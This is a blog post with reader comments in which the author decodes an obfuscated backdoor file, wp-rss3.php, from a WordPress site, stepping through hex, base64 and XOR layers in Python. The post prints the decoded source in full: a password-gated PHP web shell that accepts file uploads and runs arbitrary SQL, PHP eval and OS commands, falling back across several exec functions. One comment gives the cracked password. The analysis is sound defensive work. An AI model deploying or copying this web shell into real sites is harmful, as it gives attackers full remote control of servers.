My mom's wordpress site has some malware on it, and she sent it to me for a professional opinion. The mystery file was called wp-rss3.php. Looking at it showed that there was source code being encoded in it, so understanding what it did would require decoding the data. I fired up a Python prompt, and started picking away.

Read the file, and take a quick look to see what structure it has:

>>> wprss3 = open('wp-rss3.php').read()
>>> wprss3[:100]
'<?php $_8b7b="\\x63\\x72\\x65\\x61\\x74\\x65\\x5f\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e";$_8b7b1f="\\x62\\x61\\x73\\x'

The file is one long line, so let's split it into lines:

>>> wprss3 = wprss3.replace(' ', '\n').replace(';',';\n').splitlines()
>>> len(wprss3)
6
>>> [len(l) for l in wprss3]
[5, 70, 64, 28123, 13, 2]

OK, six lines, one of which has the bulk of the data. Let's look at them:

>>> wprss3[0]
'<?php'
>>> wprss3[1]
'$_8b7b="\\x63\\x72\\x65\\x61\\x74\\x65\\x5f\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e";'

The line 0 is uninteresting, but line 1 defines a string using hex escapes. Lots of our steps here will require getting raw data from a string that is the bulk of what we're looking at. Splitting on double-quotes will get us pieces, one of which is the one we want. Rather than counting pieces to find the right one, we know the one we want will be the longest piece. So we can use max() to find the longest piece:

>>> d = max(wprss3[1].split('"'), key=len)
>>> d
'\\x63\\x72\\x65\\x61\\x74\\x65\\x5f\\x66\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e'

One of Python's handy-dandy decoders is 'string_escape' which can turn a string with backslash-x sequences into the correct string:

>>> d.decode('string_escape')
'create_function'

OK, so $_8b7b is "create_function", a PHP function. Let's see what line 2 gives us:

>>> wprss3[2]
'$_8b7b1f="\\x62\\x61\\x73\\x65\\x36\\x34\\x5f\\x64\\x65\\x63\\x6f\\x64\\x65";'
>>> max(wprss3[2].split('"'), key=len).decode('string_escape')
'base64_decode'

Interesting, now for the bulk of the data, line 3:

>>> wprss3[3][:100]
'$_8b7b1f56=$_8b7b("",$_8b7b1f("JGs9MTQzOyRtPWV4cGxvZGUoIjsiLCIyMzQ7MjUzOzI1MzsyMjQ7MjUzOzIwODsyNTM7M'
>>> wprss3[3][-100:]
'OzI0MjsxNzU7Iik7JHo9IiI7Zm9yZWFjaCgkbSBhcyAkdilpZiAoJHYhPSIiKSR6Lj1jaHIoJHZeJGspO2V2YWwoJHopOw=="));'

Mentally using our definitions of $_8b7b and $_8b7b1f, this is equivalent to:

$_8b7b1f56 = create_function("", base64_decode("JGs9MTQ...Hop0w=="));

BTW, I did not know that PHP would execute function names in strings as simply as $fnname(), but it does not surprise me.

What's in the base64 data?

>>> d = max(wprss3[3].split('"'), key=len).decode('base64')
>>> len(d)
21064
>>> d[:100]
'$k=143;$m=explode(";","234;253;253;224;253;208;253;234;255;224;253;251;230;225;232;167;202;208;202;2'
>>> d[-100:]
'33;175;175;175;175;242;130;133;242;175;");$z="";foreach($m as $v)if ($v!="")$z.=chr($v^$k);eval($z);'

The decoded data is 20k long, and visual inspection shows that the middle is just lots of numbers separated by semicolons. The PHP code is decoding those numbers by XORing them with 143, using them as ASCII codepoints, and evaluating the result. So we want to perform the same decoding to see what source code results:

>>> nums = max(d.split('"'), key=len).split(';')
>>> len(nums)
5246
>>> nums[:10]
['234', '253', '253', '224', '253', '208', '253', '234', '255', '224']
>>> source = "".join(chr(int(n) ^ 143) for n in nums)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 1, in <genexpr>
ValueError: invalid literal for int() with base 10: ''
>>> source = "".join(chr(int(n) ^ 143) for n in nums if n)
>>> print source

This finally shows us the source of the backdoor which is executed when the page wp-rss3.php is visited in a browser. I've reformatted it here slightly just to break long lines:

error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', "0");

if ($_POST["p"] != "") {
        $_COOKIE["p"] = $_POST["p"];
        setcookie("p", $_POST["p"], time() + 3600);
}

if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") {
        echo "<form method=post>";
        echo "<input type=text name=p value='' size=50>";
        echo "<input type=submit name=B_SUBMIT value='Check'>";
        echo "</form>";
        exit;
}

if ($_POST["action"] == "upload") {

    $l=$_FILES["filepath"]["tmp_name"];
    $newpath=$_POST["newpath"];
    if ($newpath!="") move_uploaded_file($l,$newpath);
    echo "done";

} else if ($_POST["action"] == "sql") {

    $query = $_POST["query"];
    $query = str_replace("\'","'",$query);
    $lnk = mysql_connect($_POST["server"], $_POST["user"], $_POST["pass"]) or die ('Not connected : ' . mysql_error());
    mysql_select_db($_POST["db"], $lnk) or die ('Db failed: ' . mysql_error());
    mysql_query($query, $lnk) or die ('Invalid query: ' . mysql_error());
    mysql_close($lnk);
    echo "done<br><pre>$query</pre>";

} else if ($_POST["action"] == "runphp") {

    eval(base64_decode($_POST["cmd"]));

} else {

    $disablefunc = @ini_get("disable_functions");
    if (!empty($disablefunc)) {
        $disablefunc = str_replace(" ","",$disablefunc);
        $disablefunc = explode(",",$disablefunc);
    } else $disablefunc = array();

    function myshellexec($cmd) {
        global $disablefunc;
        $result = "";
        if (!empty($cmd)) {
            if (is_callable("exec") and !@in_array("exec",$disablefunc)) {
                @exec($cmd,$result); $result = @join("\n",$result);
            }
            elseif (($result = `$cmd`) !== FALSE) {}
            elseif (is_callable("system") and !@in_array("system",$disablefunc)) {
                $v = @ob_get_contents(); 
                @ob_clean(); 
                @system($cmd); 
                $result = @ob_get_contents(); 
                @ob_clean(); 
                echo $v;
            }
            elseif (is_callable("passthru") and !@in_array("passthru",$disablefunc)) {
                $v = @ob_get_contents(); 
                @ob_clean(); 
                @passthru($cmd); 
                $result = @ob_get_contents(); 
                @ob_clean(); 
                echo $v;
            }
            elseif (is_resource($fp = @popen($cmd,"r"))) {
                $result = "";
                while(!feof($fp)) {$result .= @fread($fp,1024);}
                @pclose($fp);
            }
        }
        return $result;
    }
        $cmd = stripslashes($_POST["cmd"]);
        $cmd_enc = stripslashes($_POST["cmd_enc"]);
        if ($_POST["enc"]==1){
                $cmd=base64_decode($cmd_enc);
        }
        ?>
<script language=javascript type="text/javascript">
<!--
var END_OF_INPUT = -1;
var base64Chars = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W',
'X','Y','Z','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0',
'1','2','3','4','5','6','7','8','9','+','/');
var reverseBase64Chars = new Array();
for (var i=0; i < base64Chars.length; i++){
    reverseBase64Chars[base64Chars[i]] = i;
}
var base64Str;
var base64Count;
function setBase64Str(str){
    base64Str = str;
    base64Count = 0;
}
function readBase64(){
    if (!base64Str) return END_OF_INPUT;
    if (base64Count >= base64Str.length) return END_OF_INPUT;
    var c = base64Str.charCodeAt(base64Count) & 0xff;
    base64Count++;
    return c;
}
function encodeBase64(str){
    setBase64Str(str);
    var result = '';
    var inBuffer = new Array(3);
    var lineCount = 0;
    var done = false;
    while (!done && (inBuffer[0] = readBase64()) != END_OF_INPUT){
        inBuffer[1] = readBase64();
        inBuffer[2] = readBase64();
        result += (base64Chars[ inBuffer[0] >> 2 ]);
        if (inBuffer[1] != END_OF_INPUT){
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
            if (inBuffer[2] != END_OF_INPUT){
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
                result += (base64Chars [inBuffer[2] & 0x3F]);
            } else {
                result += (base64Chars [((inBuffer[1] << 2) & 0x3c)]);
                result += ('=');
                done = true;
            }
        } else {
            result += (base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
            result += ('=');
            result += ('=');
            done = true;
        }
        lineCount += 4;
        if (lineCount >= 76){
            result += ('\n');
            lineCount = 0;
        }
    }
    return result;
}
function encodeIt(f){
        l=encodeBase64(f.cmd.value);
        f.cmd_enc.value=l;
        f.cmd.value="";
        f.enc.value=1;
        f.submit();
}
//--></script>
        <?

    echo "<form method=post action='' onSubmit='encodeIt(this);return false;'>";
    echo "<input type=text name=cmd value=\"".str_replace("\"","&quot;",$cmd)."\" size=150>";
    echo "<input type=hidden name=enc value='0'>";
    echo "<input type=hidden name=cmd_enc value=''>";
    echo "<input type=submit name=B_SUBMIT value='Go'>";
    echo "</form>";
    if ($cmd != "") {
        echo "<pre>";
        $cmd=stripslashes($cmd);
        echo "Executing $cmd \n";
        echo myshellexec("$cmd");
        echo "</pre>";
        exit;
    }
}

As you can quickly see, this is a nasty piece of work: it takes commands from the client and will execute PHP code, or SQL, or OS shell commands. I don't understand all the back and forth of the forms handling here, but it doesn't matter, it's clearly intended to let a remote attacker have his way on your machine. Bad stuff.

I wonder if a Wordpress installation could be checked for malware by looking for files that are too high a proportion of base64-encoded text?

I told my mom to remove the file, but I suspect there will be more cleaning up to do...

tagged: , , » 10 reactions

Comments

[gravatar]
k0nsl 12:34 PM on 23 Feb 2013

Hi,

Nice decode. It'd be interesting to search for malware on the box which this was found. Is it located on a dedicated, or shared host?

Faithfully,
-k0nsl

[gravatar]
edwin 1:08 PM on 23 Feb 2013

You can submit the wp-rss3.php to the Open Source Clam Antivirus, so that it'll block it in the future (if it doesn't already):
http://www.clamav.net/lang/en/sendvirus/submit-malware/

[gravatar]
erehwon 3:33 PM on 23 Feb 2013

That md5 has already been rainbow'd and Googling on it a bit will lead to some other breakdowns on this particular malware. See: "Dyslexic Mayans Want to Sell You Cialis" http://domesticenthusiast.blogspot.ro/2012/03/dyslexic-mayans-want-to-sell-you-cialis.html

[gravatar]
littleguy 3:47 PM on 23 Feb 2013

Why would you just not decode this using PHP? Firing up a second language for something that is essentially already done in the PHP code...

[gravatar]
Ned Batchelder 4:02 PM on 23 Feb 2013

@littleguy: three reasons why I use Python: 1) I don't have PHP usefully installed, 2) I don't know PHP well, and 3) as a precaution, it's a good idea to stay away from the environment it was meant to run in, to be sure it can't execute malevolently as it was intended to.

[gravatar]
Roger 4:20 PM on 23 Feb 2013

If you google the md5 string you can find quite a few articles about this malware including one dating back to 2010. One link is a site where you can submit md5 hashes and they get reversed for you. In this particular case the password is "showmustgoon!".

[gravatar]
Dennis Doughty 5:33 PM on 23 Feb 2013

I encountered something very similar on a server shared with friends. The original exploit was through a known vulnerability in a phpbb that one of the users had installed. The resulting code that got injected was very similar to what you saw and I, as paranoid as you, decoded it all by hand outside of PHP. It took a very long time to clean it up and I think we eventually started over on a new server...

[gravatar]
GiacomoL 8:32 PM on 23 Feb 2013

"Removing the file" after being infected by this malware is certainly not enough. At a minimum, if your mom is using shared hosting, the provider should be notified, so that they can figure out how it got there. I'm always surprised when I see people saying "I tracked down all the files and deleted them" -- once you've been owned, you can't trust anything about the machine, period. Script-kiddies don't usually bother with bios rootkits, so a proper format should be enough, but it's the largest risk I'd personally take.

I'm sure you're smart enough to realize that, unless you know exactly how that file got there, chances are that the initial attack vector is still open, and any cleaning you do now, you'll have to do it again in a few weeks.

[gravatar]
base64 decode 11:36 AM on 10 May 2013

wooow, great post dude. keep going

[gravatar]
Miguel 11:53 AM on 25 Jun 2013

reminds me of your work on NotesPeek :-) You have a curiosity for scratching things :-)

Add a comment:

name
email
Ignore this:
not displayed and no spam.
Leave this empty:
www
not searched.
 
Name and either email or www are required.
Don't put anything here:
Leave this empty:
URLs auto-link and some tags are allowed: <a><b><i><p><br><pre>.